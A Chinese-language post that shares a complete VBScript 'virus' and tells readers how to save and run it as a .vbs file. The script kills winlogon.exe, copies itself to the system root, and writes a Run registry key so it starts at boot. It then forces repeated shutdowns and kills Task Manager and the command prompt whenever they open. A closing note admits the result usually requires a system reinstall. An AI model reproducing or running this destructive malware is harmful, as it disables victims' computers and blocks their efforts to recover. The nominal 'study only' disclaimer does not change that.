VBS病毒代码 （蓝屏代码）

新建一个txt文档，将下方代码复制到文档内保存，然后把后续名改为vbs即可。
懂代码的“同学们”可以按照自己要求进行修改哦 ：-o

*以下代码文章，仅此参考学习请勿另做其他用途！！！

for each ps in getobject("winmgmts:\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase("winlogon.exe") then
ps.terminate
end if
next

Set ws=CreateObject("WScript.Shell")
set fs=createobject("scripting.filesystemobject")
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfile thn,a1&"\admin123.vbs",true
do while i<10
i=i+1
ws.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"
loop
ws.run "shutdown -s -f -t 60"
do
wscript.sleep 500
if ws.appactivate("Windows 任务管理器")=true then
ws.run "taskkill /f /im Taskmgr.exe"
end if
if ws.appactivate("命令提示符")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("C:\WINDOWS\system32\cmd.exe")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("系统关机")=false then
ws.run "shutdown -s -f -t 30"
end if
loop

--------------------------------------- 解决方法 -----------------------------------------------------

会开机自动运行,开机就蓝屏,没有让你修改的机会,F8安全模式也许可以修改下,但一般智能重装系统了,重装系统不会删掉你电脑的文件的,只有系统盘的东西没有了
这个只能重装系统,这个破坏力比较大,重启也没什么用